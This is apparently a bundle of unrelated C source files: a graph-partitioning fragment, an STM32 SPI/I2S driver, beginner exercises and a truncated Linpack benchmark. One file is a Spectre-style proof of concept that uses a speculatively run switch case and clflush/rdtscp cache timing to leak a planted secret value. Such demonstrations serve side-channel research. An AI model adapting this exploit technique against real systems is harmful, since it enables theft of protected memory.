// for(int i=0;i<max_cell_num;i++) printf("Gt %d \n",gain[i]);
for(int i=0;i<max_cell_num;i++){
if(gain[i] >= G1_max_gain && cell_G[i] == 0){
G1_max_gain_cell = i+1;
G1_max_gain = gain[i];
}
if(gain[i] >= G2_max_gain && cell_G[i] == 1){
G2_max_gain_cell = i+1;
G2_max_gain = gain[i];
}
}
// }
// // --------- cut size ----------
int cutsize = cut_size(&net[0],&cell_G[0],net_len);
// // --------- cut size ----------
// // --------- write file ----------
write_file(argv[2],cutsize,&G1[0],G1_len,&G2[0],G2_len);
}
|
the_stack_data/154164.c
|
/**
******************************************************************************
* @file stm32l0xx_ll_spi.c
* @author MCD Application Team
* @brief SPI LL module driver.
******************************************************************************
* @attention
*
* <h2><center>© Copyright (c) 2016 STMicroelectronics.
* All rights reserved.</center></h2>
*
* This software component is licensed by ST under BSD 3-Clause license,
* the "License"; You may not use this file except in compliance with the
* License. You may obtain a copy of the License at:
* opensource.org/licenses/BSD-3-Clause
*
******************************************************************************
*/
#if defined(USE_FULL_LL_DRIVER)
/* Includes ------------------------------------------------------------------*/
#include "stm32l0xx_ll_spi.h"
#include "stm32l0xx_ll_bus.h"
#include "stm32l0xx_ll_rcc.h"
#ifdef USE_FULL_ASSERT
#include "stm32_assert.h"
#else
#define assert_param(expr) ((void)0U)
#endif /* USE_FULL_ASSERT */
/** @addtogroup STM32L0xx_LL_Driver
* @{
*/
#if defined (SPI1) || defined (SPI2)
/** @addtogroup SPI_LL
* @{
*/
/* Private types -------------------------------------------------------------*/
/* Private variables ---------------------------------------------------------*/
/* Private constants ---------------------------------------------------------*/
/** @defgroup SPI_LL_Private_Constants SPI Private Constants
* @{
*/
/* SPI registers Masks */
#define SPI_CR1_CLEAR_MASK (SPI_CR1_CPHA | SPI_CR1_CPOL | SPI_CR1_MSTR | \
SPI_CR1_BR | SPI_CR1_LSBFIRST | SPI_CR1_SSI | \
SPI_CR1_SSM | SPI_CR1_RXONLY | SPI_CR1_DFF | \
SPI_CR1_CRCNEXT | SPI_CR1_CRCEN | SPI_CR1_BIDIOE | \
SPI_CR1_BIDIMODE)
/**
* @}
*/
/* Private macros ------------------------------------------------------------*/
/** @defgroup SPI_LL_Private_Macros SPI Private Macros
* @{
*/
#define IS_LL_SPI_TRANSFER_DIRECTION(__VALUE__) (((__VALUE__) == LL_SPI_FULL_DUPLEX) \
|| ((__VALUE__) == LL_SPI_SIMPLEX_RX) \
|| ((__VALUE__) == LL_SPI_HALF_DUPLEX_RX) \
|| ((__VALUE__) == LL_SPI_HALF_DUPLEX_TX))
#define IS_LL_SPI_MODE(__VALUE__) (((__VALUE__) == LL_SPI_MODE_MASTER) \
|| ((__VALUE__) == LL_SPI_MODE_SLAVE))
#define IS_LL_SPI_DATAWIDTH(__VALUE__) (((__VALUE__) == LL_SPI_DATAWIDTH_8BIT) \
|| ((__VALUE__) == LL_SPI_DATAWIDTH_16BIT))
#define IS_LL_SPI_POLARITY(__VALUE__) (((__VALUE__) == LL_SPI_POLARITY_LOW) \
|| ((__VALUE__) == LL_SPI_POLARITY_HIGH))
#define IS_LL_SPI_PHASE(__VALUE__) (((__VALUE__) == LL_SPI_PHASE_1EDGE) \
|| ((__VALUE__) == LL_SPI_PHASE_2EDGE))
#define IS_LL_SPI_NSS(__VALUE__) (((__VALUE__) == LL_SPI_NSS_SOFT) \
|| ((__VALUE__) == LL_SPI_NSS_HARD_INPUT) \
|| ((__VALUE__) == LL_SPI_NSS_HARD_OUTPUT))
#define IS_LL_SPI_BAUDRATE(__VALUE__) (((__VALUE__) == LL_SPI_BAUDRATEPRESCALER_DIV2) \
|| ((__VALUE__) == LL_SPI_BAUDRATEPRESCALER_DIV4) \
|| ((__VALUE__) == LL_SPI_BAUDRATEPRESCALER_DIV8) \
|| ((__VALUE__) == LL_SPI_BAUDRATEPRESCALER_DIV16) \
|| ((__VALUE__) == LL_SPI_BAUDRATEPRESCALER_DIV32) \
|| ((__VALUE__) == LL_SPI_BAUDRATEPRESCALER_DIV64) \
|| ((__VALUE__) == LL_SPI_BAUDRATEPRESCALER_DIV128) \
|| ((__VALUE__) == LL_SPI_BAUDRATEPRESCALER_DIV256))
#define IS_LL_SPI_BITORDER(__VALUE__) (((__VALUE__) == LL_SPI_LSB_FIRST) \
|| ((__VALUE__) == LL_SPI_MSB_FIRST))
#define IS_LL_SPI_CRCCALCULATION(__VALUE__) (((__VALUE__) == LL_SPI_CRCCALCULATION_ENABLE) \
|| ((__VALUE__) == LL_SPI_CRCCALCULATION_DISABLE))
#define IS_LL_SPI_CRC_POLYNOMIAL(__VALUE__) ((__VALUE__) >= 0x1U)
/**
* @}
*/
/* Private function prototypes -----------------------------------------------*/
/* Exported functions --------------------------------------------------------*/
/** @addtogroup SPI_LL_Exported_Functions
* @{
*/
/** @addtogroup SPI_LL_EF_Init
* @{
*/
/**
* @brief De-initialize the SPI registers to their default reset values.
* @param SPIx SPI Instance
* @retval An ErrorStatus enumeration value:
* - SUCCESS: SPI registers are de-initialized
* - ERROR: SPI registers are not de-initialized
*/
ErrorStatus LL_SPI_DeInit(SPI_TypeDef *SPIx)
{
ErrorStatus status = ERROR;
/* Check the parameters */
assert_param(IS_SPI_ALL_INSTANCE(SPIx));
#if defined(SPI1)
if (SPIx == SPI1)
{
/* Force reset of SPI clock */
LL_APB2_GRP1_ForceReset(LL_APB2_GRP1_PERIPH_SPI1);
/* Release reset of SPI clock */
LL_APB2_GRP1_ReleaseReset(LL_APB2_GRP1_PERIPH_SPI1);
status = SUCCESS;
}
#endif /* SPI1 */
#if defined(SPI2)
if (SPIx == SPI2)
{
/* Force reset of SPI clock */
LL_APB1_GRP1_ForceReset(LL_APB1_GRP1_PERIPH_SPI2);
/* Release reset of SPI clock */
LL_APB1_GRP1_ReleaseReset(LL_APB1_GRP1_PERIPH_SPI2);
status = SUCCESS;
}
#endif /* SPI2 */
return status;
}
/**
* @brief Initialize the SPI registers according to the specified parameters in SPI_InitStruct.
* @note As some bits in SPI configuration registers can only be written when the SPI is disabled (SPI_CR1_SPE bit =0),
* SPI peripheral should be in disabled state prior calling this function. Otherwise, ERROR result will be returned.
* @param SPIx SPI Instance
* @param SPI_InitStruct pointer to a @ref LL_SPI_InitTypeDef structure
* @retval An ErrorStatus enumeration value. (Return always SUCCESS)
*/
ErrorStatus LL_SPI_Init(SPI_TypeDef *SPIx, LL_SPI_InitTypeDef *SPI_InitStruct)
{
ErrorStatus status = ERROR;
/* Check the SPI Instance SPIx*/
assert_param(IS_SPI_ALL_INSTANCE(SPIx));
/* Check the SPI parameters from SPI_InitStruct*/
assert_param(IS_LL_SPI_TRANSFER_DIRECTION(SPI_InitStruct->TransferDirection));
assert_param(IS_LL_SPI_MODE(SPI_InitStruct->Mode));
assert_param(IS_LL_SPI_DATAWIDTH(SPI_InitStruct->DataWidth));
assert_param(IS_LL_SPI_POLARITY(SPI_InitStruct->ClockPolarity));
assert_param(IS_LL_SPI_PHASE(SPI_InitStruct->ClockPhase));
assert_param(IS_LL_SPI_NSS(SPI_InitStruct->NSS));
assert_param(IS_LL_SPI_BAUDRATE(SPI_InitStruct->BaudRate));
assert_param(IS_LL_SPI_BITORDER(SPI_InitStruct->BitOrder));
assert_param(IS_LL_SPI_CRCCALCULATION(SPI_InitStruct->CRCCalculation));
if (LL_SPI_IsEnabled(SPIx) == 0x00000000U)
{
/*---------------------------- SPIx CR1 Configuration ------------------------
* Configure SPIx CR1 with parameters:
* - TransferDirection: SPI_CR1_BIDIMODE, SPI_CR1_BIDIOE and SPI_CR1_RXONLY bits
* - Master/Slave Mode: SPI_CR1_MSTR bit
* - DataWidth: SPI_CR1_DFF bit
* - ClockPolarity: SPI_CR1_CPOL bit
* - ClockPhase: SPI_CR1_CPHA bit
* - NSS management: SPI_CR1_SSM bit
* - BaudRate prescaler: SPI_CR1_BR[2:0] bits
* - BitOrder: SPI_CR1_LSBFIRST bit
* - CRCCalculation: SPI_CR1_CRCEN bit
*/
MODIFY_REG(SPIx->CR1,
SPI_CR1_CLEAR_MASK,
SPI_InitStruct->TransferDirection | SPI_InitStruct->Mode | SPI_InitStruct->DataWidth |
SPI_InitStruct->ClockPolarity | SPI_InitStruct->ClockPhase |
SPI_InitStruct->NSS | SPI_InitStruct->BaudRate |
SPI_InitStruct->BitOrder | SPI_InitStruct->CRCCalculation);
/*---------------------------- SPIx CR2 Configuration ------------------------
* Configure SPIx CR2 with parameters:
* - NSS management: SSOE bit
*/
MODIFY_REG(SPIx->CR2, SPI_CR2_SSOE, (SPI_InitStruct->NSS >> 16U));
/*---------------------------- SPIx CRCPR Configuration ----------------------
* Configure SPIx CRCPR with parameters:
* - CRCPoly: CRCPOLY[15:0] bits
*/
if (SPI_InitStruct->CRCCalculation == LL_SPI_CRCCALCULATION_ENABLE)
{
assert_param(IS_LL_SPI_CRC_POLYNOMIAL(SPI_InitStruct->CRCPoly));
LL_SPI_SetCRCPolynomial(SPIx, SPI_InitStruct->CRCPoly);
}
status = SUCCESS;
}
#if defined (SPI_I2S_SUPPORT)
/* Activate the SPI mode (Reset I2SMOD bit in I2SCFGR register) */
CLEAR_BIT(SPIx->I2SCFGR, SPI_I2SCFGR_I2SMOD);
#endif /* SPI_I2S_SUPPORT */
return status;
}
/**
* @brief Set each @ref LL_SPI_InitTypeDef field to default value.
* @param SPI_InitStruct pointer to a @ref LL_SPI_InitTypeDef structure
* whose fields will be set to default values.
* @retval None
*/
void LL_SPI_StructInit(LL_SPI_InitTypeDef *SPI_InitStruct)
{
/* Set SPI_InitStruct fields to default values */
SPI_InitStruct->TransferDirection = LL_SPI_FULL_DUPLEX;
SPI_InitStruct->Mode = LL_SPI_MODE_SLAVE;
SPI_InitStruct->DataWidth = LL_SPI_DATAWIDTH_8BIT;
SPI_InitStruct->ClockPolarity = LL_SPI_POLARITY_LOW;
SPI_InitStruct->ClockPhase = LL_SPI_PHASE_1EDGE;
SPI_InitStruct->NSS = LL_SPI_NSS_HARD_INPUT;
SPI_InitStruct->BaudRate = LL_SPI_BAUDRATEPRESCALER_DIV2;
SPI_InitStruct->BitOrder = LL_SPI_MSB_FIRST;
SPI_InitStruct->CRCCalculation = LL_SPI_CRCCALCULATION_DISABLE;
SPI_InitStruct->CRCPoly = 7U;
}
/**
* @}
*/
/**
* @}
*/
/**
* @}
*/
#if defined(SPI_I2S_SUPPORT)
/** @addtogroup I2S_LL
* @{
*/
/* Private types -------------------------------------------------------------*/
/* Private variables ---------------------------------------------------------*/
/* Private constants ---------------------------------------------------------*/
/** @defgroup I2S_LL_Private_Constants I2S Private Constants
* @{
*/
/* I2S registers Masks */
#define I2S_I2SCFGR_CLEAR_MASK (SPI_I2SCFGR_CHLEN | SPI_I2SCFGR_DATLEN | \
SPI_I2SCFGR_CKPOL | SPI_I2SCFGR_I2SSTD | \
SPI_I2SCFGR_I2SCFG | SPI_I2SCFGR_I2SMOD )
#define I2S_I2SPR_CLEAR_MASK 0x0002U
/**
* @}
*/
/* Private macros ------------------------------------------------------------*/
/** @defgroup I2S_LL_Private_Macros I2S Private Macros
* @{
*/
#define IS_LL_I2S_DATAFORMAT(__VALUE__) (((__VALUE__) == LL_I2S_DATAFORMAT_16B) \
|| ((__VALUE__) == LL_I2S_DATAFORMAT_16B_EXTENDED) \
|| ((__VALUE__) == LL_I2S_DATAFORMAT_24B) \
|| ((__VALUE__) == LL_I2S_DATAFORMAT_32B))
#define IS_LL_I2S_CPOL(__VALUE__) (((__VALUE__) == LL_I2S_POLARITY_LOW) \
|| ((__VALUE__) == LL_I2S_POLARITY_HIGH))
#define IS_LL_I2S_STANDARD(__VALUE__) (((__VALUE__) == LL_I2S_STANDARD_PHILIPS) \
|| ((__VALUE__) == LL_I2S_STANDARD_MSB) \
|| ((__VALUE__) == LL_I2S_STANDARD_LSB) \
|| ((__VALUE__) == LL_I2S_STANDARD_PCM_SHORT) \
|| ((__VALUE__) == LL_I2S_STANDARD_PCM_LONG))
#define IS_LL_I2S_MODE(__VALUE__) (((__VALUE__) == LL_I2S_MODE_SLAVE_TX) \
|| ((__VALUE__) == LL_I2S_MODE_SLAVE_RX) \
|| ((__VALUE__) == LL_I2S_MODE_MASTER_TX) \
|| ((__VALUE__) == LL_I2S_MODE_MASTER_RX))
#define IS_LL_I2S_MCLK_OUTPUT(__VALUE__) (((__VALUE__) == LL_I2S_MCLK_OUTPUT_ENABLE) \
|| ((__VALUE__) == LL_I2S_MCLK_OUTPUT_DISABLE))
#define IS_LL_I2S_AUDIO_FREQ(__VALUE__) ((((__VALUE__) >= LL_I2S_AUDIOFREQ_8K) \
&& ((__VALUE__) <= LL_I2S_AUDIOFREQ_192K)) \
|| ((__VALUE__) == LL_I2S_AUDIOFREQ_DEFAULT))
#define IS_LL_I2S_PRESCALER_LINEAR(__VALUE__) ((__VALUE__) >= 0x2U)
#define IS_LL_I2S_PRESCALER_PARITY(__VALUE__) (((__VALUE__) == LL_I2S_PRESCALER_PARITY_EVEN) \
|| ((__VALUE__) == LL_I2S_PRESCALER_PARITY_ODD))
/**
* @}
*/
/* Private function prototypes -----------------------------------------------*/
/* Exported functions --------------------------------------------------------*/
/** @addtogroup I2S_LL_Exported_Functions
* @{
*/
/** @addtogroup I2S_LL_EF_Init
* @{
*/
/**
* @brief De-initialize the SPI/I2S registers to their default reset values.
* @param SPIx SPI Instance
* @retval An ErrorStatus enumeration value:
* - SUCCESS: SPI registers are de-initialized
* - ERROR: SPI registers are not de-initialized
*/
ErrorStatus LL_I2S_DeInit(SPI_TypeDef *SPIx)
{
return LL_SPI_DeInit(SPIx);
}
/**
* @brief Initializes the SPI/I2S registers according to the specified parameters in I2S_InitStruct.
* @note As some bits in SPI configuration registers can only be written when the SPI is disabled (SPI_CR1_SPE bit =0),
* SPI peripheral should be in disabled state prior calling this function. Otherwise, ERROR result will be returned.
* @param SPIx SPI Instance
* @param I2S_InitStruct pointer to a @ref LL_I2S_InitTypeDef structure
* @retval An ErrorStatus enumeration value:
* - SUCCESS: SPI registers are Initialized
* - ERROR: SPI registers are not Initialized
*/
ErrorStatus LL_I2S_Init(SPI_TypeDef *SPIx, LL_I2S_InitTypeDef *I2S_InitStruct)
{
uint32_t i2sdiv = 2U;
uint32_t i2sodd = 0U;
uint32_t packetlength = 1U;
uint32_t tmp;
LL_RCC_ClocksTypeDef rcc_clocks;
uint32_t sourceclock;
ErrorStatus status = ERROR;
/* Check the I2S parameters */
assert_param(IS_I2S_ALL_INSTANCE(SPIx));
assert_param(IS_LL_I2S_MODE(I2S_InitStruct->Mode));
assert_param(IS_LL_I2S_STANDARD(I2S_InitStruct->Standard));
assert_param(IS_LL_I2S_DATAFORMAT(I2S_InitStruct->DataFormat));
assert_param(IS_LL_I2S_MCLK_OUTPUT(I2S_InitStruct->MCLKOutput));
assert_param(IS_LL_I2S_AUDIO_FREQ(I2S_InitStruct->AudioFreq));
assert_param(IS_LL_I2S_CPOL(I2S_InitStruct->ClockPolarity));
if (LL_I2S_IsEnabled(SPIx) == 0x00000000U)
{
/*---------------------------- SPIx I2SCFGR Configuration --------------------
* Configure SPIx I2SCFGR with parameters:
* - Mode: SPI_I2SCFGR_I2SCFG[1:0] bit
* - Standard: SPI_I2SCFGR_I2SSTD[1:0] and SPI_I2SCFGR_PCMSYNC bits
* - DataFormat: SPI_I2SCFGR_CHLEN and SPI_I2SCFGR_DATLEN bits
* - ClockPolarity: SPI_I2SCFGR_CKPOL bit
*/
/* Write to SPIx I2SCFGR */
MODIFY_REG(SPIx->I2SCFGR,
I2S_I2SCFGR_CLEAR_MASK,
I2S_InitStruct->Mode | I2S_InitStruct->Standard |
I2S_InitStruct->DataFormat | I2S_InitStruct->ClockPolarity |
SPI_I2SCFGR_I2SMOD);
/*---------------------------- SPIx I2SPR Configuration ----------------------
* Configure SPIx I2SPR with parameters:
* - MCLKOutput: SPI_I2SPR_MCKOE bit
* - AudioFreq: SPI_I2SPR_I2SDIV[7:0] and SPI_I2SPR_ODD bits
*/
/* If the requested audio frequency is not the default, compute the prescaler (i2sodd, i2sdiv)
* else, default values are used: i2sodd = 0U, i2sdiv = 2U.
*/
if (I2S_InitStruct->AudioFreq != LL_I2S_AUDIOFREQ_DEFAULT)
{
/* Check the frame length (For the Prescaler computing)
* Default value: LL_I2S_DATAFORMAT_16B (packetlength = 1U).
*/
if (I2S_InitStruct->DataFormat != LL_I2S_DATAFORMAT_16B)
{
/* Packet length is 32 bits */
packetlength = 2U;
}
/* I2S Clock source is System clock: Get System Clock frequency */
LL_RCC_GetSystemClocksFreq(&rcc_clocks);
/* Get the source clock value: based on System Clock value */
sourceclock = rcc_clocks.SYSCLK_Frequency;
/* Compute the Real divider depending on the MCLK output state with a floating point */
if (I2S_InitStruct->MCLKOutput == LL_I2S_MCLK_OUTPUT_ENABLE)
{
/* MCLK output is enabled */
tmp = (((((sourceclock / 256U) * 10U) / I2S_InitStruct->AudioFreq)) + 5U);
}
else
{
/* MCLK output is disabled */
tmp = (((((sourceclock / (32U * packetlength)) * 10U) / I2S_InitStruct->AudioFreq)) + 5U);
}
/* Remove the floating point */
tmp = tmp / 10U;
/* Check the parity of the divider */
i2sodd = (tmp & (uint16_t)0x0001U);
/* Compute the i2sdiv prescaler */
i2sdiv = ((tmp - i2sodd) / 2U);
/* Get the Mask for the Odd bit (SPI_I2SPR[8]) register */
i2sodd = (i2sodd << 8U);
}
/* Test if the divider is 1 or 0 or greater than 0xFF */
if ((i2sdiv < 2U) || (i2sdiv > 0xFFU))
{
/* Set the default values */
i2sdiv = 2U;
i2sodd = 0U;
}
/* Write to SPIx I2SPR register the computed value */
WRITE_REG(SPIx->I2SPR, i2sdiv | i2sodd | I2S_InitStruct->MCLKOutput);
status = SUCCESS;
}
return status;
}
/**
* @brief Set each @ref LL_I2S_InitTypeDef field to default value.
* @param I2S_InitStruct pointer to a @ref LL_I2S_InitTypeDef structure
* whose fields will be set to default values.
* @retval None
*/
void LL_I2S_StructInit(LL_I2S_InitTypeDef *I2S_InitStruct)
{
/*--------------- Reset I2S init structure parameters values -----------------*/
I2S_InitStruct->Mode = LL_I2S_MODE_SLAVE_TX;
I2S_InitStruct->Standard = LL_I2S_STANDARD_PHILIPS;
I2S_InitStruct->DataFormat = LL_I2S_DATAFORMAT_16B;
I2S_InitStruct->MCLKOutput = LL_I2S_MCLK_OUTPUT_DISABLE;
I2S_InitStruct->AudioFreq = LL_I2S_AUDIOFREQ_DEFAULT;
I2S_InitStruct->ClockPolarity = LL_I2S_POLARITY_LOW;
}
/**
* @brief Set linear and parity prescaler.
* @note To calculate value of PrescalerLinear(I2SDIV[7:0] bits) and PrescalerParity(ODD bit)\n
* Check Audio frequency table and formulas inside Reference Manual (SPI/I2S).
* @param SPIx SPI Instance
* @param PrescalerLinear value Min_Data=0x02 and Max_Data=0xFF.
* @param PrescalerParity This parameter can be one of the following values:
* @arg @ref LL_I2S_PRESCALER_PARITY_EVEN
* @arg @ref LL_I2S_PRESCALER_PARITY_ODD
* @retval None
*/
void LL_I2S_ConfigPrescaler(SPI_TypeDef *SPIx, uint32_t PrescalerLinear, uint32_t PrescalerParity)
{
/* Check the I2S parameters */
assert_param(IS_I2S_ALL_INSTANCE(SPIx));
assert_param(IS_LL_I2S_PRESCALER_LINEAR(PrescalerLinear));
assert_param(IS_LL_I2S_PRESCALER_PARITY(PrescalerParity));
/* Write to SPIx I2SPR */
MODIFY_REG(SPIx->I2SPR, SPI_I2SPR_I2SDIV | SPI_I2SPR_ODD, PrescalerLinear | (PrescalerParity << 8U));
}
/**
* @}
*/
/**
* @}
*/
/**
* @}
*/
#endif /* SPI_I2S_SUPPORT */
#endif /* defined (SPI1) || defined (SPI2) */
/**
* @}
*/
#endif /* USE_FULL_LL_DRIVER */
/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/
|
the_stack_data/6386882.c
|
#include <stdio.h>
#define LOWER 0
#define UPPER 300
#define STEP 20
/* print Fahrenheit-Celsius table */
int main()
{
int fahr;
for (fahr = LOWER; fahr <= UPPER; fahr = fahr + STEP)
printf("%3d %6.1f\n", fahr, (5.0/9.0)*(fahr-32));
return 0;
}
|
the_stack_data/275901.c
|
#include <stdio.h>
#include <string.h>
#include <stdbool.h>
#define SIZE 20
char * my_strchr(char *, char);
void remove_enter(char *);
char * string_in(char *, char *);
int main(void)
{
char target[SIZE];
char source[SIZE];
char * find_enter;
printf("Enter target string: ");
fgets(target, SIZE, stdin);
remove_enter(target);
printf("Enter source string: ");
fgets(source, SIZE, stdin);
remove_enter(source);
char * string = string_in(target, source);
if(string)
{
printf("This match address is: %p\n", string);
printf("This match string is: %s\n", string);
}
else
{
printf("Sorry, there is no match string.\n");
}
return 0;
}
char * my_strchr(char * target, char ch)
{
char * match_ptr=NULL;
while(*target!='\0')
{
if(*target==ch)
{
match_ptr=target;
break;
}
target++;
}
return match_ptr;
}
void remove_enter(char * ptr)
{
char * find=my_strchr(ptr, '\n');
if(find)
*find='\0';
}
char * string_in(char * target, char * source)
{
int length=strlen(source);
int _length=length;
char * arr[length];
int index=0;
bool is_in=true;
while(length--)
arr[length]=NULL;
while(*source!='\0')
{
char * _source=my_strchr(target, *source);
if(_source)
arr[index]=_source;
index++;
source++;
}
index=1;
length=_length;
printf("length = %d\n", length);
while(index<length)
{
is_in&=arr[index]-arr[index-1]==sizeof(char);
index++;
}
return is_in ? arr[0] : NULL;
}
|
the_stack_data/43888074.c
|
#define _GNU_SOURCE
#include <stdio.h>
#include <sched.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
typedef unsigned long long u64;
#define PAGE_SIZE 4096
#define PAGE_ADDR(X) ((uint64_t)X &~ 0xfff)
#define CACHE_HIT_THRESHOLD 200 // 200 as a suitable threshold in Ryzen ThreadRipper 1950X
#define CACHE_FLUSH_ITERATIONS 2048
#define CACHE_FLUSH_STRIDE 4096
__attribute__((always_inline)) inline void clflush(volatile void *p){
asm volatile ("clflush (%0)" :: "r"(p));
return;
}
__attribute__((always_inline)) inline uint64_t rdtscp(){
unsigned int lo,hi;
__asm__ __volatile__ ("rdtscp" : "=a" (lo), "=d" (hi));
return ((uint64_t)hi << 32) | lo;
}
void timing_analysis();
uint8_t uninteresting_data_0 [CACHE_FLUSH_ITERATIONS*CACHE_FLUSH_STRIDE]; // unrelated data placed to seperate data of interest
int position_secret = 42; // secret
uint64_t uninteresting_data_1 [4096*1] = {[0 ... 4095] = 9999}; // unrelated data placed to seperate data of interest
int position_nonsecret = 237; // nonsecret
uint64_t uninteresting_data_2 [4096*1] = {[0 ... 4095] = 9999}; // unrelated data placed to seperate data of interest
int user_dat [256*256] = {[0 ... 65279] = 7}; // user data
uint64_t uninteresting_data_3 [4096*1] = {[0 ... 4095] = 9999}; // unrelated data placed to seperate data of interest
unsigned n_run = 1;
int n_success = 0;
int n_error = 0;
int n_measurements = 0;
int n_normal = 0;
int var = 0;
int main(int argc, char ** argv) {
if(argc != 2){
printf("Usage: ./PoC-switch [# of true attack] (e.g. 1, 10, 100, etc.) \n");
exit(1);
}
unsigned num_probe = atoi(argv[1]);
int sw = 2; // case selection is fixed to case 2
// Flush the entire data cache (from Spectre PoC).
int unrelated;
for (int i = 0; i < (uint8_t)sizeof(uninteresting_data_0); i++) uninteresting_data_0[i] = 1;
for(int l = CACHE_FLUSH_ITERATIONS * CACHE_FLUSH_STRIDE - 1; l >= 0; l-= CACHE_FLUSH_STRIDE) unrelated = uninteresting_data_0[l];
printf(" --------------------Test Start-------------------- \n");
printf("[sub-tests # ] cached_dat[position] = accessing time\n");
int position;
// allow repetitive tests
while(1){
/********************************************************************
Attack Code
********************************************************************/
switch(sw){ // the switch statement the here contains a indirect jump to different cases.
case 0: // since sw = 2, this case should be never executed
asm("nop; nop;"); // nop acts as other code
position = position_secret; // assigns a index variable with a secret value.
var = user_dat[position * 256];
break;
case 1:
asm("nop; nop; nop;");
break;
case 2: // correct case to execute
asm("nop; nop; nop; nop;");
position = position_nonsecret; // assigns a index variable with a nonsecret value.
var = user_dat[position * 256];
break;
case 3:
asm("nop; nop; nop; nop; nop;");
break;
case 4:
asm("nop; nop; nop; nop; nop; nop;");
break;
case 5:
asm("nop; nop; nop; nop; nop; nop; nop;");
break;
default:
asm("nop; nop; nop; nop; nop; nop; nop; nop;");
break;
}
// timing analysis to retrieve the secret
timing_analysis();
if (n_success == num_probe) break;
usleep(10);
}
printf(" --------------------result-------------------- \n");
printf("%d bytes were leaked in %d attempts.\n",
n_success, n_run - 1);
printf("%d cache hits: %d violated arch. states; %d non-violated arch. states.\
\nError rate: %f%%\n",
n_measurements, n_success, n_normal, ((float) n_error /(n_success+n_error))*100);
return 0;
}
/********************************************************************
Timing Analysis
********************************************************************/
void timing_analysis(){
uint64_t t1,t2;
uint64_t arr_timing[256];
char z;
int rand_i;
for(int i=0; i<256; i++){
rand_i = ((i * 167) + 13) & 255; // accessing every entry in random fashion
t1 = rdtscp();
z = user_dat[rand_i * 256];
t2 = rdtscp();
arr_timing[rand_i] = t2 - t1;
}
// flush CPU cache
for(int i=0; i<256; i++){
clflush(&user_dat[i * 256]);
}
printf("[sub-tests #%d] ",n_run++);
for(int i=0; i<256; i++){
if(arr_timing[i] < CACHE_HIT_THRESHOLD) {
n_measurements++;
printf("user_dat[%d] = %lu; ", i, arr_timing[i]);
if (i == 42) n_success++;
if (i == 237) n_normal++;
if (i != 42 && i != 237) n_error++;
}
}
printf("\n");
return;
}
|
the_stack_data/454939.c
|
/*
* Copyright 2013 The Emscripten Authors. All rights reserved.
* Emscripten is available under two separate licenses, the MIT license and the
* University of Illinois/NCSA Open Source License. Both these licenses can be
* found in the LICENSE file.
*/
/* gcc linpack.c cpuidc64.o cpuida64.o -m64 -lrt -lc -lm -o linpack
*
* Linpack 100x100 Benchmark In C/C++ For PCs
*
* Different compilers can produce different floating point numeric
* results, probably due to compiling instructions in a different
* sequence. As the program checks these, they may need to be changed.
* The log file indicates non-standard results and these values can
* be copied and pasted into this program. See // Values near the
* end of main().
*
* Different compilers do not optimise the code in the same way.
* This can lead to wide variations in benchmark speeds. See results
* with MS6 compiler ID and compare with those from same CPUs from
* the Watcom compiler generated code.
*
***************************************************************************
*/
#define _CRT_SECURE_NO_WARNINGS 1
#ifdef WIN32
#include <Windows.h>
#else
#include <sys/time.h>
#endif
#define UNROLL
#ifndef SP
#define DP
#endif
#ifdef SP
#define REAL float
#define ZERO 0.0
#define ONE 1.0
#define PREC "Single"
#endif
#ifdef DP
#define REAL double
#define ZERO 0.0e0
#define ONE 1.0e0
#define PREC "Double"
#endif
#ifdef ROLL
#define ROLLING "Rolled"
#endif
#ifdef UNROLL
#define ROLLING "Unrolled"
#endif
// VERSION
#ifdef CNNT
#define options "Non-optimised"
#define opt "0"
#else
// #define options "Optimised"
#define options "Opt 3 64 Bit"
#define opt "1"
#endif
#define NTIMES 10
#include <stdio.h>
#include <math.h>
#include <stdlib.h>
#include <time.h>
/* this is truly rank, but it's minimally invasive, and lifted in part from the STREAM scores */
static double secs;
#ifndef WIN32
double mysecond()
{
struct timeval tp;
struct timezone tzp;
int i;
i = gettimeofday(&tp,&tzp);
return ( (double) tp.tv_sec + (double) tp.tv_usec * 1.e-6 );
}
#else
double mysecond()
{
static LARGE_INTEGER freq = {0};
LARGE_INTEGER count = {0};
if(freq.QuadPart == 0LL) {
QueryPerformanceFrequency(&freq);
}
QueryPerformanceCounter(&count);
return (double)count.QuadPart / (double)freq.QuadPart;
}
#endif
void start_time()
{
secs = mysecond();
}
void end_time()
{
secs = mysecond() - secs;
}
void print_time (int row);
void matgen (REAL a[], int lda, int n, REAL b[], REAL *norma);
void dgefa (REAL a[], int lda, int n, int ipvt[], int *info);
void dgesl (REAL a[],int lda,int n,int ipvt[],REAL b[],int job);
void dmxpy (int n1, REAL y[], int n2, int ldm, REAL x[], REAL m[]);
void daxpy (int n, REAL da, REAL dx[], int incx, REAL dy[], int incy);
REAL epslon (REAL x);
int idamax (int n, REAL dx[], int incx);
void dscal (int n, REAL da, REAL dx[], int incx);
REAL ddot (int n, REAL dx[], int incx, REAL dy[], int incy);
static REAL atime[9][15];
double runSecs = 1;
int main (int argc, char *argv[])
{
static REAL aa[200*200],a[200*201],b[200],x[200];
REAL cray,ops,total,norma,normx;
REAL resid,residn,eps,tm2,epsn,x1,x2;
REAL mflops;
static int ipvt[200],n,i,j,ntimes,info,lda,ldaa;
int endit, pass, loop;
REAL overhead1, overhead2, time2;
REAL max1, max2;
char was[5][20];
char expect[5][20];
char title[5][20];
int errors;
int arg = argc > 1 ? argv[1][0] - '0' : 3;
if (arg == 0) return 0;
printf("\n");
printf("##########################################\n");
lda = 201;
ldaa = 200;
cray = .056;
n = 100;
fprintf(stdout, "%s ", ROLLING);
fprintf(stdout, "%s ", PREC);
fprintf(stdout,"Precision Linpack Benchmark - PC Version in 'C/C++'\n\n");
fprintf(stdout,"Optimisation %s\n\n",options);
ops = (2.0e0*(n*n*n))/3.0 + 2.0*(n*n);
matgen(a,lda,n,b,&norma);
start_time();
dgefa(a,lda,n,ipvt,&info);
end_time();
atime[0][0] = secs;
start_time();
dgesl(a,lda,n,ipvt,b,0);
end_time();
atime[1][0] = secs;
total = atime[0][0] + atime[1][0];
/* compute a residual to verify results. */
for (i = 0; i < n; i++) {
x[i] = b[i];
}
matgen(a,lda,n,b,&norma);
for (i = 0; i < n; i++) {
b[i] = -b[i];
}
dmxpy(n,b,n,lda,x,a);
resid = 0.0;
normx = 0.0;
for (i = 0; i < n; i++) {
resid = (resid > fabs((double)b[i]))
? resid : fabs((double)b[i]);
normx = (normx > fabs((double)x[i]))
? normx : fabs((double)x[i]);
}
eps = epslon(ONE);
residn = resid/( n*norma*normx*eps );
epsn = eps;
